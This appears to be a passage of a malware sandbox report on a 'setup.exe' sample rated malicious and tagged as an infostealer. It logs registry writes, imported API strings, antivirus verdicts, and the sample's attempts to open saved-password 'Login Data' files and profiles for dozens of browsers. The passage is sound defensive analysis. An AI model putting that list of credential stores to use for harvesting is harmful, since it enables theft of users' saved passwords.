Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")52:T8e8,Found string "GetCurrentPackageId" (Source: setup.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "GetSystemTimePreciseAsFileTime" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "CompareStringEx" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "EnumSystemLocalesEx" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "GetDateFormatEx" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "GetTimeFormatEx" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "GetUserDefaultLocaleName" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "IsValidLocaleName" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "LCIDToLocaleName" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "RoInitialize" (Source: setup.exe, API is part of module: COMBASE.DLL) Found string "RoUninitialize" (Source: setup.exe, API is part of module: COMBASE.DLL) Found string "AppPolicyGetProcessTerminationMethod" (Source: setup.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "AppPolicyGetThreadInitializationType" (Source: setup.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "log10" (Source: setup.exe, API is part of module: UCRTBASE.DLL) Found string "atan2" (Source: setup.exe, API is part of module: UCRTBASE.DLL) Found string "floor" (Source: setup.exe, API is part of module: UCRTBASE.DLL) Found string "ldexp" (Source: setup.exe, API is part of module: UCRTBASE.DLL) Found string "frexp" (Source: setup.exe, API is part of module: UCRTBASE.DLL) Found string "SetDefaultDllDirectories" (Source: setup.exe, API is part of module: KERNELBASE.DLL) Found string "FindFirstStreamW" (Source: setup.exe, API is part of module: KERNELBASE.DLL)53:T426,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")54:T693,"setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.DOTX"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\DOCUMENT"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.DOTX"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\DOCUMENT"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.ZIP"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.ZIP"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.HTML"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.HTML"; Key: "NEVERSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.HTM"; Key: "ALWAYSSHOWEXT") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.HTM"; Key: "NEVERSHOWEXT")55:T1493,"setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UR BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UR BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CCLEANER\CCLEANER BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CCLEANER\CCLEANER BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVG\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVG\BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME SXS\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME SXS\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME DEV\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME DEV\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHEDOT\USER DATA\DEFAULT\LOGIN DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHEDOT\USER DATA\DEFAULT\LOGIN DATA FOR ACCOUNT"56:T1470,"setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\ICECAT\PROFILES\..\APPLICATION\ICECAT.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\ICECAT\PROFILES\..\ICECAT.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\ICECAT\PROFILES" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\COMODO\ICEDRAGON\PROFILES\..\APPLICATION\ICEDRAGON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\COMODO\ICEDRAGON\PROFILES\..\ICEDRAGON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\COMODO\ICEDRAGON\PROFILES" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\8PECXSTUDIOS\CYBERFOX\PROFILES\..\APPLICATION\CYBERFOX.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\8PECXSTUDIOS\CYBERFOX\PROFILES\..\CYBERFOX.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\SEAMONKEY\PROFILES\..\APPLICATION\SEAMONKEY.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\SEAMONKEY\PROFILES\..\SEAMONKEY.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\SEAMONKEY\PROFILES" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\..\APPLICATION\ROCKMELT.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\..\ROCKMELT.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\..\APPLICATION\SUPERBIRD.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\..\SUPERBIRD.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA\..\APPLICATION\KINZA.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA\..\KINZA.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KINZA\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GHOSTBROWSER\USER DATA\..\APPLICATION\GHOSTBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GHOSTBROWSER\USER DATA\..\GHOSTBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GHOSTBROWSER\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GHOSTBROWSER\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA\..\APPLICATION\BLISK.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA\..\BLISK.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BLISK\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA\..\APPLICATION\AVASTBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA\..\AVASTBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AVAST SOFTWARE\BROWSER\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\..\APPLICATION\IRON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\..\IRON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\..\APPLICATION\DRAGON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\..\DRAGON.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCBROWSER\USER DATA\..\APPLICATION\UCBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCBROWSER\USER DATA\..\UCBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCBROWSER\USER DATA\LOCAL STATE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCBROWSER\USER DATA" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA\..\APPLICATION\QQBROWSER.EXE" "setup.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA\..\QQBROWSER.EXE"57:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3cAAAd4iIiIiIiIiIiIiIiHcAAHiIiIiIiIiIiIiIiIiHAAB4iIiIiIiIiIiIiIiIhwAHiIiIiIiIiIiIiIiIiIhwCIiIiIiIiIiIiIiIiIiIcAiP////////////////+IAHiIiIiIiIiHeIiIiIiIhwB//5mZmZmf94////////cAeP+ZmZmZf/eP//////+HAHj/mZmZmX/3j///////hwB4/5mZmZl/94///////4cAeP+ZmZmZf/eP//////+HAHf/mZmZmZ/3////////hwAH/3mZmZmf9////////4cAB/+JmZmZmPf///////+HAAeP+ZmZmZj3////////hwAHj/eZmZmZ9////////4cACI/4mZmZmYf///////+AAAiP/3mZmZmX///////3gAAIj/+JmZmZl///////d4AACI//+JmZmZeY////9xeAAACP//+JmZmXmXj/iBEXgAAAj///+JmZl5mZERERF4AAAIj///+JmZiZmZkREReAAACI/////3mYmZmZmZmYgAAAiP/////4eJmZmZmZmIAAAIj///////iHmZmZePiAAACI///////4///////4gAAAiIiIiIiIiIiIiIiIiIAAAAAAAAAAAAAAAAAAAAAACAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAHAAAABwAAAAcAAAAHAAAABwAAAA8AAAAPAAAADwAAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD/////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791998425104,"unified_at":"2026-10-14T17:20:25.104Z","metadata":{"hashes":{"sha256":"8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36","sha1":"12589b319f72d09610fdbd00cc3e3340055407f5","md5":"d89fdd2763232c1bd357ea5ca54505e6","sha512":"465f9c8c68741dd5dc1f1a2b998403306b79ea8796d79a8fd6197dd48e129ca5340949e3ff38e971f1e84cc94c7fc434d0f56f0a6729487e887b7927990ce587","ssdeep":"196608:crzYshhd8y+fazYshhd8y+dazYshhd8y+/:ezLhh0azLhheazLhh6","ssdeep_chunks":["196608:crzYshh","196608:rzYshhd","196608:zYshhd8","196608:Yshhd8y","196608:shhd8y+","196608:hhd8y+f","196608:hd8y+fa","196608:d8y+faz","196608:8y+fazY","196608:y+fazYs","196608:+fazYsh","196608:fazYshh","196608:azYshhd","196608:hhd8y+d","196608:hd8y+da","196608:d8y+daz","196608:8y+dazY","196608:y+dazYs","196608:+dazYsh","196608:dazYshh","196608:hhd8y+/","393216:crzYshh","393216:rzYshhd","393216:zYshhd8","393216:Yshhd8y","393216:shhd8y+","393216:hhd8y+f","393216:hd8y+fa","393216:d8y+faz","393216:8y+fazY","393216:y+fazYs","393216:+fazYsh","393216:fazYshh","393216:azYshhd","393216:hhd8y+d","393216:hd8y+da","393216:d8y+daz","393216:8y+dazY","393216:y+dazYs","393216:+dazYsh","393216:dazYshh","393216:hhd8y+/","196608:ezLhh0a","196608:zLhh0az","196608:Lhh0azL","196608:hh0azLh","196608:h0azLhh","196608:0azLhhe","196608:azLhhea","196608:zLhheaz","196608:LhheazL","196608:hheazLh","196608:heazLhh","196608:eazLhh6"],"imphash":"e59d00b0d90522ee1a983f13d4ff7e50"},"file_info":{"file_name":"setup.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":9018768,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1777591418000,"last_seen":1777648496000,"last_multi_scan":1777648496000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["malicious","new_domain","infostealer"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":84},"sandbox_signatures":{"informative_count":200,"suspicious_count":20,"malicious_count":8,"total":228},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_60% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"TrojanPSW.Lumma.gen.yczp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"h